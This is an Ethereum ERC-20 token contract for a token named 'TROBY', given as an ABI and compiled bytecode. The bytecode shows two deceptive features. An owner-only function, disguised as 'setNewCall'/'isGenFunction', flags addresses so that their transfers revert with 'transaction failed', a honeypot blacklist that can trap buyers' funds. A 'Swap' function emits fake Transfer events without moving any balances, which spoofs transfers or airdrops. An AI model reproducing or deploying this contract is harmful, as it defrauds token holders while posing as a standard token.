[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "bool", "name": "isGenFunction", "type": "bool" } ], "name": "GenFunctionUpdated", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "INITIAL_SUPPLY", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "recipients", "type": "address[]" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "Swap", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "subtractedValue", "type": "uint256" } ], "name": "decreaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "increaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" }, { "internalType": "bool", "name": "isGenFunction", "type": "bool" } ], "name": "setNewCall", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
608060405234801561000f575f80fd5b503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061008d60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b0295be96e64066972000000061009260201b60201c565b6102dc565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f79061022d565b60405180910390fd5b8060035f8282546101119190610281565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101639190610281565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516101c791906102c3565b60405180910390a35050565b5f82825260208201905092915050565b7f4d696e7420746f20746865207a65726f206164647265737300000000000000005f82015250565b5f6102176018836101d3565b9150610222826101e3565b602082019050919050565b5f6020820190508181035f8301526102448161020b565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61028b8261024b565b91506102968361024b565b92508282019050808211156102ae576102ad610254565b5b92915050565b6102bd8161024b565b82525050565b5f6020820190506102d65f8301846102b4565b92915050565b611963806102e95f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610287578063ab65c7f3146102b7578063c07b0cc6146102d3578063dd62ed3e146102ef576100f3565b806370a08231146101ff578063715018a61461022f57806395d89b4114610239578063a457c2d714610257576100f3565b806323b872dd116100d157806323b872dd146101635780632ff2e9dc14610193578063313ce567146101b157806339509351146101cf576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c91906110e7565b60405180910390f35b61012f600480360381019061012a91906111a5565b610358565b60405161013c91906111fd565b60405180910390f35b61014d61036e565b60405161015a9190611225565b60405180910390f35b61017d6004803603810190610178919061123e565b610377565b60405161018a91906111fd565b60405180910390f35b61019b6104a6565b6040516101a89190611225565b60405180910390f35b6101b96104b6565b6040516101c691906112a9565b60405180910390f35b6101e960048036038101906101e491906111a5565b6104bb565b6040516101f691906111fd565b60405180910390f35b610219600480360381019061021491906112c2565b610554565b6040516102269190611225565b60405180910390f35b610237610599565b005b6102416106e5565b60405161024e91906110e7565b60405180910390f35b610271600480360381019061026c91906111a5565b61071e565b60405161027e91906111fd565b60405180910390f35b6102a1600480360381019061029c91906111a5565b6107b7565b6040516102ae91906111fd565b60405180910390f35b6102d160048036038101906102cc9190611317565b610857565b005b6102ed60048036038101906102e89190611495565b61098c565b005b610309600480360381019061030491906114ef565b610b3f565b6040516103169190611225565b60405180910390f35b6040518060400160405280600581526020017f54524f425900000000000000000000000000000000000000000000000000000081525081565b5f610364338484610bc1565b6001905092915050565b5f600354905090565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990611577565b60405180910390fd5b61040d848484610d84565b61049b84338460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461049691906115c2565b610bc1565b600190509392505050565b6b0295be96e64066972000000081565b601281565b5f61054a33848460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461054591906115f5565b610bc1565b6001905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611672565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6040518060400160405280600581526020017f54524f425900000000000000000000000000000000000000000000000000000081525081565b5f6107ad33848460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107a891906115c2565b610bc1565b6001905092915050565b5f60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990611577565b60405180910390fd5b61084d338484610d84565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dd90611672565b60405180910390fd5b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fec2f6ab03a0838e5e5aafee2c32949cf4348db4c28a246bd572e9aa6428e69258260405161098091906111fd565b60405180910390a25050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1290611672565b60405180910390fd5b5f5b8251811015610b3a575f73ffffffffffffffffffffffffffffffffffffffff16838281518110610a5057610a4f611690565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590611707565b60405180910390fd5b828181518110610ac157610ac0611690565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b259190611225565b60405180910390a38080600101915050610a1d565b505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c269061176f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c94906117d7565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d779190611225565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de99061183f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e57906118a7565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed69061190f565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6090611577565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fb491906115c2565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461100691906115f5565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161106a9190611225565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110b982611077565b6110c38185611081565b93506110d3818560208601611091565b6110dc8161109f565b840191505092915050565b5f6020820190508181035f8301526110ff81846110af565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61114182611118565b9050919050565b61115181611137565b811461115b575f80fd5b50565b5f8135905061116c81611148565b92915050565b5f819050919050565b61118481611172565b811461118e575f80fd5b50565b5f8135905061119f8161117b565b92915050565b5f80604083850312156111bb576111ba611110565b5b5f6111c88582860161115e565b92505060206111d985828601611191565b9150509250929050565b5f8115159050919050565b6111f7816111e3565b82525050565b5f6020820190506112105f8301846111ee565b92915050565b61121f81611172565b82525050565b5f6020820190506112385f830184611216565b92915050565b5f805f6060848603121561125557611254611110565b5b5f6112628682870161115e565b93505060206112738682870161115e565b925050604061128486828701611191565b9150509250925092565b5f60ff82169050919050565b6112a38161128e565b82525050565b5f6020820190506112bc5f83018461129a565b92915050565b5f602082840312156112d7576112d6611110565b5b5f6112e48482850161115e565b91505092915050565b6112f6816111e3565b8114611300575f80fd5b50565b5f81359050611311816112ed565b92915050565b5f806040838503121561132d5761132c611110565b5b5f61133a8582860161115e565b925050602061134b85828601611303565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61138f8261109f565b810181811067ffffffffffffffff821117156113ae576113ad611359565b5b80604052505050565b5f6113c0611107565b90506113cc8282611386565b919050565b5f67ffffffffffffffff8211156113eb576113ea611359565b5b602082029050602081019050919050565b5f80fd5b5f61141261140d846113d1565b6113b7565b90508083825260208201905060208402830185811115611435576114346113fc565b5b835b8181101561145e578061144a888261115e565b845260208401935050602081019050611437565b5050509392505050565b5f82601f83011261147c5761147b611355565b5b813561148c848260208601611400565b91505092915050565b5f80604083850312156114ab576114aa611110565b5b5f83013567ffffffffffffffff8111156114c8576114c7611114565b5b6114d485828601611468565b92505060206114e585828601611191565b9150509250929050565b5f806040838503121561150557611504611110565b5b5f6115128582860161115e565b92505060206115238582860161115e565b9150509250929050565b7f7472616e73616374696f6e206661696c656400000000000000000000000000005f82015250565b5f611561601283611081565b915061156c8261152d565b602082019050919050565b5f6020820190508181035f83015261158e81611555565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6115cc82611172565b91506115d783611172565b92508282039050818111156115ef576115ee611595565b5b92915050565b5f6115ff82611172565b915061160a83611172565b925082820190508082111561162257611621611595565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f61165c601783611081565b915061166782611628565b602082019050919050565b5f6020820190508181035f83015261168981611650565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f5377617020746f20746865207a65726f206164647265737300000000000000005f82015250565b5f6116f1601883611081565b91506116fc826116bd565b602082019050919050565b5f6020820190508181035f83015261171e816116e5565b9050919050565b7f417070726f76652066726f6d20746865207a65726f20616464726573730000005f82015250565b5f611759601d83611081565b915061176482611725565b602082019050919050565b5f6020820190508181035f8301526117868161174d565b9050919050565b7f417070726f766520746f20746865207a65726f206164647265737300000000005f82015250565b5f6117c1601b83611081565b91506117cc8261178d565b602082019050919050565b5f6020820190508181035f8301526117ee816117b5565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f206164647265737300005f82015250565b5f611829601e83611081565b9150611834826117f5565b602082019050919050565b5f6020820190508181035f8301526118568161181d565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f611891601c83611081565b915061189c8261185d565b602082019050919050565b5f6020820190508181035f8301526118be81611885565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e6365005f82015250565b5f6118f9601f83611081565b9150611904826118c5565b602082019050919050565b5f6020820190508181035f830152611926816118ed565b905091905056fea26469706673582212206079f95686efe77fb283cb0b48f04110d5e7fd3c7f5a0b7196c6209aa245e69264736f6c634300081a0033